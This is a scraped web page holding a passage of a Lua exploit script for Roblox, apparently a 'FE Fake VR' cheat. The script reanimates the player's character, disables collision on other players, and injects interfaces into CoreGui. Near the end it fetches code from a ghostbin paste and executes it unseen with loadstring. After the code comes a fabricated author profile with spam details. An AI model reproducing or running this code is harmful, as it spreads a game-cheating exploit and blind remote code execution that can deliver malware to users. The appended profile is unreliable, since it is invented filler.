  615. LocalPositioning = HandPosition

  616. end

  617. local Parent = RightHandGrip.Parent

  618. RightHandGrip.C1 = CFrame.new()

  619. RightHandGrip.C0 = RightHandGrip.C0:Lerp(WeldBase.CFrame:ToObjectSpace(HandPosition), Smoothness)

  620. RightHandGrip.Parent = nil

  621. RightHandGrip.Parent = Parent

  622. --

  623. local EquippedTool = GetExtraTool()

  624. if EquippedTool and EquippedTool:FindFirstChild("Handle") then

  625. local EquippedGrip = GetGripForHandle(EquippedTool.Handle)

  626. local Parent = EquippedGrip.Parent

  627. local ArmBaseCFrame = ArmBase.CFrame

  628. if ArmBase.Name == "Right Arm" then

  629. ArmBaseCFrame = ArmBaseCFrame

  630. end

  631. EquippedGrip.C1 = EquippedTool.Grip

  632. EquippedGrip.C0 = EquippedGrip.C0:Lerp(ArmBaseCFrame:ToObjectSpace(LocalPositioning), Smoothness)

  633. EquippedGrip.Parent = nil

  634. EquippedGrip.Parent = Parent

  635. end

  636. elseif LeftHandle and UserCFrame == Enum.UserCFrame.LeftHand and AccessorySettings.LeftArm then

  637. local HandPosition = Positioning

  638. if not LeftHandGrip or not LeftHandGrip.Parent then

  639. LeftHandGrip = CreateRightGrip(LeftHandle)

  640. end

  641. if AccurateHandPosition then

  642. HandPosition = HandPosition * CFrame.new(0, 0, 1)

  643. end

  644. if not VRReady then

  645. HandPosition = VirtualRig.LeftUpperArm.CFrame:Lerp(VirtualRig.LeftLowerArm.CFrame, 0.5) * AccessorySettings.LimbOffset

  646. --warn("Setting HandPosition to hands")

  647. if Point1 then

  648. VirtualRig.LeftUpperArm.Aim.MaxTorque = Vector3.new(math.huge, math.huge, math.huge)

  649. VirtualRig.LeftUpperArm.Aim.CFrame = Camera.CFrame * AccessorySettings.LimbOffset

  650. elseif VirtualRig.LeftUpperArm.Aim.MaxTorque ~= Vector3.new(0, 0, 0) then

  651. VirtualRig.LeftUpperArm.Aim.MaxTorque = Vector3.new(0, 0, 0)

  652. end

  653. end

  654. local Parent = LeftHandGrip.Parent

  655. LeftHandGrip.C1 = CFrame.new()

  656. LeftHandGrip.C0 = LeftHandGrip.C0:Lerp(WeldBase.CFrame:ToObjectSpace(HandPosition), Smoothness)

  657. LeftHandGrip.Parent = nil

  658. LeftHandGrip.Parent = Parent

  659. end

  660. end

  661. if RagdollEnabled then

  662. if UserCFrame == Enum.UserCFrame.Head and RagdollHeadMovement then

  663. MoveHead(Positioning)

  664. elseif UserCFrame == Enum.UserCFrame.RightHand then

  665. local Positioning = Positioning

  666. if not VRReady then

  667. Positioning = VirtualRig.RightUpperArm.CFrame:Lerp(VirtualRig.RightLowerArm.CFrame, 0.5)

  668. elseif AccurateHandPosition then

  669. Positioning = Positioning * CFrame.new(0, 0, 1)

  670. end

  671. if VRReady then

  672. Positioning = Positioning * AccessorySettings.LimbOffset

  673. end

  674. MoveRightArm(Positioning)

  675. if Point2 then

  676. VirtualRig.RightUpperArm.Aim.MaxTorque = Vector3.new(math.huge, math.huge, math.huge)

  677. VirtualRig.RightUpperArm.Aim.CFrame = Camera.CFrame * AccessorySettings.LimbOffset

  678. elseif VirtualRig.RightUpperArm.Aim.MaxTorque ~= Vector3.new(0, 0, 0) then

  679. VirtualRig.RightUpperArm.Aim.MaxTorque = Vector3.new(0, 0, 0)

  680. end

  681. elseif UserCFrame == Enum.UserCFrame.LeftHand then

  682. local Positioning = Positioning

  683. if not VRReady then

  684. Positioning = VirtualRig.LeftUpperArm.CFrame:Lerp(VirtualRig.LeftLowerArm.CFrame, 0.5)

  685. elseif AccurateHandPosition then

  686. Positioning = Positioning * CFrame.new(0, 0, 1)

  687. end

  688. if VRReady then

  689. Positioning = Positioning * AccessorySettings.LimbOffset

  690. end

  691. MoveLeftArm(Positioning)

  692. if Point1 then

  693. VirtualRig.LeftUpperArm.Aim.MaxTorque = Vector3.new(math.huge, math.huge, math.huge)

  694. VirtualRig.LeftUpperArm.Aim.CFrame = Camera.CFrame * AccessorySettings.LimbOffset

  695. elseif VirtualRig.LeftUpperArm.Aim.MaxTorque ~= Vector3.new(0, 0, 0) then

  696. VirtualRig.LeftUpperArm.Aim.MaxTorque = Vector3.new(0, 0, 0)

  697. end

  698. end

  699. end

  700. if UserCFrame == Enum.UserCFrame.Head then

  701. VirtualRig.Head.CFrame = Positioning

  702. elseif UserCFrame == Enum.UserCFrame.RightHand and VRReady then

  703. VirtualRig.RightHand.CFrame = Positioning

  704. elseif UserCFrame == Enum.UserCFrame.LeftHand and VRReady then

  705. VirtualRig.LeftHand.CFrame = Positioning

  706. end

  707. if not VRReady and VirtualRig.LeftHand.Anchored then

  708. VirtualRig.RightHand.Anchored = false

  709. VirtualRig.LeftHand.Anchored = false

  710. elseif VRReady and not VirtualRig.LeftHand.Anchored then

  711. VirtualRig.RightHand.Anchored = true

  712. VirtualRig.LeftHand.Anchored = true

  713. end

  714. end

  715. local CFrameChanged = VRService.UserCFrameChanged:Connect(OnUserCFrameChanged)

  716. local OnStepped = RunService.Stepped:Connect(function()

  717. for _, Part in pairs(VirtualRig:GetChildren()) do

  718. if Part:IsA("BasePart") then

  719. Part.CanCollide = false

  720. end

  721. end

  722. if RagdollEnabled then

  723. for _, Part in pairs(Character:GetChildren()) do

  724. if Part:IsA("BasePart") then

  725. Part.CanCollide = false

  726. end

  727. end

  728. end

  729. if NoCollision then

  730. for _, Player in pairs(Players:GetPlayers()) do

  731. if Player ~= Client and Player.Character then

  732. local Descendants = Player.Character:GetDescendants()

  733. for i = 1, #Descendants do

  734. local Part = Descendants[i]

  735. if Part:IsA("BasePart") then

  736. Part.CanCollide = false

  737. Part.Velocity = Vector3.new()

  738. Part.RotVelocity = Vector3.new()

  739. end

  740. end

  741. end

  742. end

  743. end

  744. end)

  745. local OnRenderStepped = RunService.Stepped:Connect(function()

  746. Camera.CameraSubject = VirtualBody.Humanoid

  747. if RagdollEnabled then

  748. Character.HumanoidRootPart.CFrame = VirtualRig.UpperTorso.CFrame

  749. Character.HumanoidRootPart.Velocity = Vector3.new(0, 0, 0)

  750. end

  751. if not VRReady then

  752. OnUserCFrameChanged(Enum.UserCFrame.Head, CFrame.new(0, 0, 0))

  753. OnUserCFrameChanged(Enum.UserCFrame.RightHand, CFrame.new(0, 0, 0), true)

  754. OnUserCFrameChanged(Enum.UserCFrame.LeftHand, CFrame.new(0, 0, 0), true)

  755. end

  756. end)

  757. spawn(function()

  758. while Character and Character.Parent do

  759. FootYield()

  760. UpdateFooting()

  761. end

  762. end)

  763. --[[

  764. Non-VR Support + VR Mechanics

  765. --]]

  766. local OnInput = UserInputService.InputBegan:Connect(function(Input, Processed)

  767. if not Processed then

  768. if Input.KeyCode == Enum.KeyCode.LeftControl or Input.KeyCode == Enum.KeyCode.ButtonL2 then

  769. Tween(VirtualBody.Humanoid, "Elastic", "Out", 1, {

  770. CameraOffset = Vector3.new(0, StudsOffset - 1.5, 0)

  771. })

  772. end

  773. if Input.KeyCode == Enum.KeyCode.X then

  774. if RagdollEnabled and RagdollHeadMovement then

  775. Network:Unclaim()

  776. Respawn()

  777. end

  778. end

  779. if Input.KeyCode == Enum.KeyCode.C then

  780. VirtualBody:MoveTo(Mouse.Hit.p)

  781. VirtualRig:MoveTo(Mouse.Hit.p)

  782. end

  783. end

  784. if Input.KeyCode == Enum.KeyCode.LeftShift or Input.KeyCode == Enum.KeyCode.ButtonR2 then

  785. Tween(VirtualBody.Humanoid, "Sine", "Out", 1, {

  786. WalkSpeed = 16

  787. })

  788. end

  789. if not VRReady and Input.UserInputType == Enum.UserInputType.MouseButton1 then

  790. Point1 = true

  791. end

  792. if not VRReady and Input.UserInputType == Enum.UserInputType.MouseButton2 then

  793. Point2 = true

  794. end

  795. if VRReady and Input.KeyCode == Enum.KeyCode.ButtonY then

  796. Character:BreakJoints()

  797. if RagdollEnabled and RagdollHeadMovement then

  798. Network:Unclaim()

  799. Respawn()

  800. end

  801. end

  802. end)

  803. local OnInputEnded = UserInputService.InputEnded:Connect(function(Input, Processed)

  804. if not Processed then

  805. if Input.KeyCode == Enum.KeyCode.LeftControl or Input.KeyCode == Enum.KeyCode.ButtonL2 then

  806. Tween(VirtualBody.Humanoid, "Elastic", "Out", 1, {

  807. CameraOffset = Vector3.new(0, StudsOffset, 0)

  808. })

  809. end

  810. end

  811. if Input.KeyCode == Enum.KeyCode.LeftShift or Input.KeyCode == Enum.KeyCode.ButtonR2 then

  812. Tween(VirtualBody.Humanoid, "Sine", "Out", 1, {

  813. WalkSpeed = 8

  814. })

  815. end

  816. if not VRReady and Input.UserInputType == Enum.UserInputType.MouseButton1 then

  817. Point1 = false

  818. end

  819. if not VRReady and Input.UserInputType == Enum.UserInputType.MouseButton2 then

  820. Point2 = false

  821. end

  822. end)

  823. --[[

  824. Proper Cleanup

  825. --]]

  826. local OnReset

  827. OnReset = Client.CharacterAdded:Connect(function()

  828. OnReset:Disconnect();

  829. CFrameChanged:Disconnect();

  830. OnStepped:Disconnect();

  831. OnRenderStepped:Disconnect();

  832. OnMoving:Disconnect();

  833. OnInput:Disconnect();

  834. OnInputEnded:Disconnect();

  835. VirtualRig:Destroy();

  836. VirtualBody:Destroy();

  837. if RagdollEnabled then

  838. Network:Unclaim();

  839. end

  840. if AutoRun then

  841. delay(2, function()

  842. Script()

  843. end)

  844. end

  845. end)

  846. if ChatEnabled then

  847. spawn(ChatHUDFunc)

  848. end

  849. if ViewportEnabled then

  850. spawn(ViewHUDFunc)

  851. end

  852. do

  853. --[[

  854. Functions

  855. --]]

  856. local Players = game:GetService("Players")

  857. local Client = Players.LocalPlayer

  858. local VRService = game:GetService("VRService")

  859. local VRReady = VRService.VREnabled

  860. local UserInputService = game:GetService("UserInputService")

  861. local RunService = game:GetService("RunService")

  862. local Camera = workspace.CurrentCamera

  863. --[[

  864. Code

  865. --]]

  866. if VRReady then

  867. local Pointer = game:GetObjects("rbxassetid://4476173280")[1]

  868. Pointer.Parent = workspace

  869. Pointer.Beam.Enabled = false

  870. Pointer.Target.ParticleEmitter.Enabled = false

  871. local RenderStepped = RunService.RenderStepped:Connect(function()

  872. if Pointer.Beam.Enabled then

  873. local RightHand = Camera.CFrame * VRService:GetUserCFrame(Enum.UserCFrame.RightHand)

  874. local Target = RightHand * CFrame.new(0, 0, -10)

  875. local Line = Ray.new(RightHand.p, (Target.p - RightHand.p).Unit * 128)

  876. local Part, Position = workspace:FindPartOnRayWithIgnoreList(Line, {VirtualRig, VirtualBody, Character, Pointer})

  877. local Distance = (Position - RightHand.p).Magnitude

  878. Pointer.Target.Position = Vector3.new(0, 0, -Distance)

  879. Pointer.CFrame = RightHand

  880. end

  881. end)

  882. local Input = UserInputService.InputBegan:Connect(function(Input)

  883. if Input.KeyCode == Enum.KeyCode.ButtonB then

  884. Pointer.Beam.Enabled = not Pointer.Beam.Enabled

  885. Pointer.Target.ParticleEmitter.Enabled = not Pointer.Target.ParticleEmitter.Enabled

  886. end

  887. end)

  888. --

  889. local CharacterAdded

  890. CharacterAdded = Client.CharacterAdded:Connect(function()

  891. RenderStepped:Disconnect()

  892. Input:Disconnect()

  893. CharacterAdded:Disconnect()

  894. Pointer:Destroy()

  895. Pointer = nil

  896. end)

  897. else

  898. return

  899. end

  900. end

  901. end;

  902. Permadeath = function()

  903. local ch = game.Players.LocalPlayer.Character

  904. local prt=Instance.new("Model", workspace)

  905. local z1 = Instance.new("Part", prt)

  906. z1.Name="Torso"

  907. z1.CanCollide = false

  908. z1.Anchored = true

  909. local z2 =Instance.new("Part", prt)

  910. z2.Name="Head"

  911. z2.Anchored = true

  912. z2.CanCollide = false

  913. local z3 =Instance.new("Humanoid", prt)

  914. z3.Name="Humanoid"

  915. z1.Position = Vector3.new(0,9999,0)

  916. z2.Position = Vector3.new(0,9991,0)

  917. game.Players.LocalPlayer.Character=prt

  918. wait(5)

  919. warn("50%")

  920. game.Players.LocalPlayer.Character=ch

  921. wait(6)

  922. warn("100%")

  923. end;

  924. Respawn = function()

  925. local ch = game.Players.LocalPlayer.Character

  926. local prt=Instance.new("Model", workspace)

  927. local z1 = Instance.new("Part", prt)

  928. z1.Name="Torso"

  929. z1.CanCollide = false

  930. z1.Anchored = true

  931. local z2 =Instance.new("Part", prt)

  932. z2.Name="Head"

  933. z2.Anchored = true

  934. z2.CanCollide = false

  935. local z3 =Instance.new("Humanoid", prt)

  936. z3.Name="Humanoid"

  937. z1.Position = Vector3.new(0,9999,0)

  938. z2.Position = Vector3.new(0,9991,0)

  939. game.Players.LocalPlayer.Character=prt

  940. wait(5)

  941. game.Players.LocalPlayer.Character=ch

  942. end;

  943. ChatHUDFunc = function()

  944. --[[

  945. Variables

  946. --]]

  947. local UserInputService = game:GetService("UserInputService")

  948. local RunService = game:GetService("RunService")

  949. local VRService = game:GetService("VRService")

  950. local VRReady = VRService.VREnabled

  951. local Players = game:GetService("Players")

  952. local Client = Players.LocalPlayer

  953. local ChatHUD = game:GetObjects("rbxassetid://4476067885")[1]

  954. local GlobalFrame = ChatHUD.GlobalFrame

  955. local Template = GlobalFrame.Template

  956. local LocalFrame = ChatHUD.LocalFrame

  957. local Global = ChatHUD.Global

  958. local Local = ChatHUD.Local

  959. local Camera = workspace.CurrentCamera

  960. Template.Parent = nil

  961. ChatHUD.Parent = game:GetService("CoreGui")

  962. --[[

  963. Code

  964. --]]

  965. local Highlight = Global.Frame.BackgroundColor3

  966. local Deselected = Local.Frame.BackgroundColor3

  967. local OpenGlobalTab = function()

  968. Global.Frame.BackgroundColor3 = Highlight

  969. Local.Frame.BackgroundColor3 = Deselected

  970. Global.Font = Enum.Font.SourceSansBold

  971. Local.Font = Enum.Font.SourceSans

  972. GlobalFrame.Visible = true

  973. LocalFrame.Visible = false

  974. end

  975. local OpenLocalTab = function()

  976. Global.Frame.BackgroundColor3 = Deselected

  977. Local.Frame.BackgroundColor3 = Highlight

  978. Global.Font = Enum.Font.SourceSans

  979. Local.Font = Enum.Font.SourceSansBold

  980. GlobalFrame.Visible = false

  981. LocalFrame.Visible = true

  982. end

  983. Global.MouseButton1Down:Connect(OpenGlobalTab)

  984. Local.MouseButton1Down:Connect(OpenLocalTab)

  985. Global.MouseButton1Click:Connect(OpenGlobalTab)

  986. Local.MouseButton1Click:Connect(OpenLocalTab)

  987. OpenLocalTab()

  988. --

  989. local function GetPlayerDistance(Sender)

  990. if Sender.Character and Sender.Character:FindFirstChild("Head") then

  991. return math.floor((Sender.Character.Head.Position - Camera:GetRenderCFrame().p).Magnitude + 0.5)

  992. end

  993. end

  994. local function NewGlobal(Message, Sender, Color)

  995. local Frame = Template:Clone()

  996. Frame.Text = ("[%s]: %s"):format(Sender.Name, Message)

  997. Frame.User.Text = ("[%s]:"):format(Sender.Name)

  998. Frame.User.TextColor3 = Color

  999. Frame.BackgroundColor3 = Color

  1000. Frame.Parent = GlobalFrame

  1001. delay(60, function()

  1002. Frame:Destroy()

  1003. end)

  1004. end

  1005. local function NewLocal(Message, Sender, Color, Dist)

  1006. local Frame = Template:Clone()

  1007. Frame.Text = ("(%s) [%s]: %s"):format(tostring(Dist), Sender.Name, Message)

  1008. Frame.User.Text = ("(%s) [%s]:"):format(tostring(Dist), Sender.Name)

  1009. Frame.User.TextColor3 = Color

  1010. Frame.BackgroundColor3 = Color

  1011. Frame.Parent = LocalFrame

  1012. delay(60, function()

  1013. Frame:Destroy()

  1014. end)

  1015. end

  1016. local function OnNewChat(Message, Sender, Color)

  1017. if not ChatHUD or not ChatHUD.Parent then return end

  1018. NewGlobal(Message, Sender, Color)

  1019. local Distance = GetPlayerDistance(Sender)

  1020. if Distance and Distance <= ChatLocalRange then

  1021. NewLocal(Message, Sender, Color, Distance)

  1022. end

  1023. end

  1024. local function OnPlayerAdded(Player)

  1025. if not ChatHUD or not ChatHUD.Parent then return end

  1026. local Color = BrickColor.Random().Color

  1027. Player.Chatted:Connect(function(Message)

  1028. OnNewChat(Message, Player, Color)

  1029. end)

  1030. end

  1031. Players.PlayerAdded:Connect(OnPlayerAdded)

  1032. for _, Player in pairs(Players:GetPlayers()) do

  1033. OnPlayerAdded(Player)

  1034. end

  1035. --

  1036. local ChatPart = ChatHUD.Part

  1037. ChatHUD.Adornee = ChatPart

  1038. if VRReady then

  1039. ChatHUD.Parent = game:GetService("CoreGui")

  1040. ChatHUD.Enabled = true

  1041. ChatHUD.AlwaysOnTop = true

  1042. local OnInput = UserInputService.InputBegan:Connect(function(Input, Processed)

  1043. if not Processed then

  1044. if Input.KeyCode == Enum.KeyCode.ButtonX then

  1045. ChatHUD.Enabled = not ChatHUD.Enabled

  1046. end

  1047. end

  1048. end)

  1049. local RenderStepped = RunService.RenderStepped:Connect(function()

  1050. local LeftHand = VRService:GetUserCFrame(Enum.UserCFrame.LeftHand)

  1051. ChatPart.CFrame = Camera.CFrame * LeftHand

  1052. end)

  1053. local CharacterAdded

  1054. CharacterAdded = Client.CharacterAdded:Connect(function()

  1055. OnInput:Disconnect()

  1056. RenderStepped:Disconnect()

  1057. CharacterAdded:Disconnect()

  1058. ChatHUD:Destroy()

  1059. ChatHUD = nil

  1060. end)

  1061. end

  1062. wait(9e9)

  1063. end;

  1064. ViewHUDFunc = function()

  1065. --[[

  1066. Variables

  1067. --]]

  1068. local ViewportRange = ViewportRange or 32

  1069. local UserInputService = game:GetService("UserInputService")

  1070. local RunService = game:GetService("RunService")

  1071. local VRService = game:GetService("VRService")

  1072. local VRReady = VRService.VREnabled

  1073. local Players = game:GetService("Players")

  1074. local Client = Players.LocalPlayer

  1075. local Mouse = Client:GetMouse()

  1076. local Camera = workspace.CurrentCamera

  1077. local CameraPort = Camera.CFrame

  1078. local ViewHUD = script:FindFirstChild("ViewHUD") or game:GetObjects("rbxassetid://4480405425")[1]

  1079. local Viewport = ViewHUD.Viewport

  1080. local Viewcam = Instance.new("Camera")

  1081. local ViewPart = ViewHUD.Part

  1082. ViewHUD.Parent = game:GetService("CoreGui")

  1083. Viewcam.Parent = Viewport

  1084. Viewcam.CameraType = Enum.CameraType.Scriptable

  1085. Viewport.CurrentCamera = Viewcam

  1086. Viewport.BackgroundTransparency = 1

  1087. --[[

  1088. Code

  1089. --]]

  1090. local function Clone(Character)

  1091. local Arc = Character.Archivable

  1092. local Clone;

  1093. Character.Archivable = true

  1094. Clone = Character:Clone()

  1095. Character.Archivable = Arc

  1096. return Clone

  1097. end

  1098. local function GetPart(Name, Parent, Descendants)

  1099. for i = 1, #Descendants do

  1100. local Part = Descendants[i]

  1101. if Part.Name == Name and Part.Parent.Name == Parent then

  1102. return Part

  1103. end

  1104. end

  1105. end

  1106. local function OnPlayerAdded(Player)

  1107. if not ViewHUD or not ViewHUD.Parent then return end

  1108. local function CharacterAdded(Character)

  1109. if not ViewHUD or not ViewHUD.Parent then return end

  1110. Character:WaitForChild("Head")

  1111. Character:WaitForChild("Humanoid")

  1112. wait(3)

  1113. local FakeChar = Clone(Character)

  1114. local Root = FakeChar:FindFirstChild("HumanoidRootPart") or FakeChar:FindFirstChild("Head")

  1115. local RenderConnection;

  1116. local Descendants = FakeChar:GetDescendants()

  1117. local RealDescendants = Character:GetDescendants()

  1118. local Correspondents = {};

  1119. FakeChar.Humanoid.DisplayDistanceType = "None"

  1120. for i = 1, #Descendants do

  1121. local Part = Descendants[i]

  1122. local Real = Part:IsA("BasePart") and GetPart(Part.Name, Part.Parent.Name, RealDescendants)

  1123. if Part:IsA("BasePart") and Real then

  1124. Part.Anchored = true

  1125. Part:BreakJoints()

  1126. if Part.Parent:IsA("Accessory") then

  1127. Part.Transparency = 0

  1128. end

  1129. table.insert(Correspondents, {Part, Real})

  1130. end

  1131. end

  1132. RenderConnection = RunService.RenderStepped:Connect(function()

  1133. if not Character or not Character.Parent then

  1134. RenderConnection:Disconnect()

  1135. FakeChar:Destroy()

  1136. return

  1137. end

  1138. if (Root and (Root.Position - Camera.CFrame.p).Magnitude <= ViewportRange) or Player == Client or not Root then

  1139. for i = 1, #Correspondents do

  1140. local Part, Real = unpack(Correspondents[i])

  1141. if Part and Real and Part.Parent and Real.Parent then

  1142. Part.CFrame = Real.CFrame

  1143. elseif Part.Parent and not Real.Parent then

  1144. Part:Destroy()

  1145. end

  1146. end

  1147. end

  1148. end)

  1149. FakeChar.Parent = Viewcam

  1150. end

  1151. Player.CharacterAdded:Connect(CharacterAdded)

  1152. if Player.Character then

  1153. spawn(function()

  1154. CharacterAdded(Player.Character)

  1155. end)

  1156. end

  1157. end

  1158. local PlayerAdded = Players.PlayerAdded:Connect(OnPlayerAdded)

  1159. for _, Player in pairs(Players:GetPlayers()) do

  1160. OnPlayerAdded(Player)

  1161. end

  1162. ViewPart.Size = Vector3.new()

  1163. if VRReady then

  1164. Viewport.Position = UDim2.new(.62, 0, .89, 0)

  1165. Viewport.Size = UDim2.new(.3, 0, .3, 0)

  1166. Viewport.AnchorPoint = Vector2.new(.5, 1)

  1167. else

  1168. Viewport.Size = UDim2.new(0.3, 0, 0.3, 0)

  1169. end

  1170. local RenderStepped = RunService.RenderStepped:Connect(function()

  1171. local Render = Camera.CFrame

  1172. local Scale = Camera.ViewportSize

  1173. if VRReady then

  1174. Render = Render * VRService:GetUserCFrame(Enum.UserCFrame.Head)

  1175. end

  1176. CameraPort = CFrame.new(Render.p + Vector3.new(5, 2, 0), Render.p)

  1177. Viewport.Camera.CFrame = CameraPort

  1178. ViewPart.CFrame = Render * CFrame.new(0, 0, -16)

  1179. ViewHUD.Size = UDim2.new(0, Scale.X - 6, 0, Scale.Y - 6)

  1180. end)

  1181. --

  1182. local CharacterAdded

  1183. CharacterAdded = Client.CharacterAdded:Connect(function()

  1184. RenderStepped:Disconnect()

  1185. CharacterAdded:Disconnect()

  1186. PlayerAdded:Disconnect()

  1187. ViewHUD:Destroy()

  1188. ViewHUD = nil

  1189. end)

  1190. wait(9e9)

  1191. end;

  1192. Script()

  1193. wait(2)

  1194. local Players = game:GetService("Players")

  1195. local lp = Players.LocalPlayer

  1196. local character = lp.Character

  1197. local A0LL = Instance.new("Attachment", character["Left Leg"])

  1198. A0LL.Position = Vector3.new(0, 1, 0)

  1199. local A1LL = Instance.new("Attachment", character["Torso"])

  1200. A1LL.Position = Vector3.new(-0.5, -1, 0)

  1201. local socket1 = Instance.new("BallSocketConstraint", character["Left Leg"])

  1202. socket1.Attachment0 = A0LL

  1203. socket1.Attachment1 = A1LL

  1204. local A0RL = Instance.new("Attachment", character["Right Leg"])

  1205. A0RL.Position = Vector3.new(0, 1, 0)

  1206. local A1RL = Instance.new("Attachment", character["Torso"])

  1207. A1RL.Position = Vector3.new(0.5, -1, 0)

  1208. local socket2 = Instance.new("BallSocketConstraint", character["Right Leg"])

  1209. socket2.Attachment0 = A0RL

  1210. socket2.Attachment1 = A1RL

  1211. local A0H = Instance.new("Attachment", character["Head"])

  1212. A0H.Position = Vector3.new(0, -0.5, 0)

  1213. local A1H = Instance.new("Attachment", character["Torso"])

  1214. A1H.Position = Vector3.new(0, 1, 0)

  1215. local socket5 = Instance.new("BallSocketConstraint", character["Head"])

  1216. socket5.Attachment0 = A0H

  1217. socket5.Attachment1 = A1H

  1218. loadstring(game:HttpGet("https://ghostbin.co/paste/krmyf/raw",true))()

  1219. -----------------------------------------------------------

  1220. wait(9e9)

  1221. end)

Roblox FE Fake VR - Pastebin.com (2024)

References

Top Articles
Latest Posts
Article information

Author: Kelle Weber

Last Updated:

Views: 5650

Rating: 4.2 / 5 (53 voted)

Reviews: 92% of readers found this page helpful

Author information

Name: Kelle Weber

Birthday: 2000-08-05

Address: 6796 Juan Square, Markfort, MN 58988

Phone: +8215934114615

Job: Hospitality Director

Hobby: tabletop games, Foreign language learning, Leather crafting, Horseback riding, Swimming, Knapping, Handball

Introduction: My name is Kelle Weber, I am a magnificent, enchanting, fair, joyous, light, determined, joyous person who loves writing and wants to share my knowledge and understanding with you.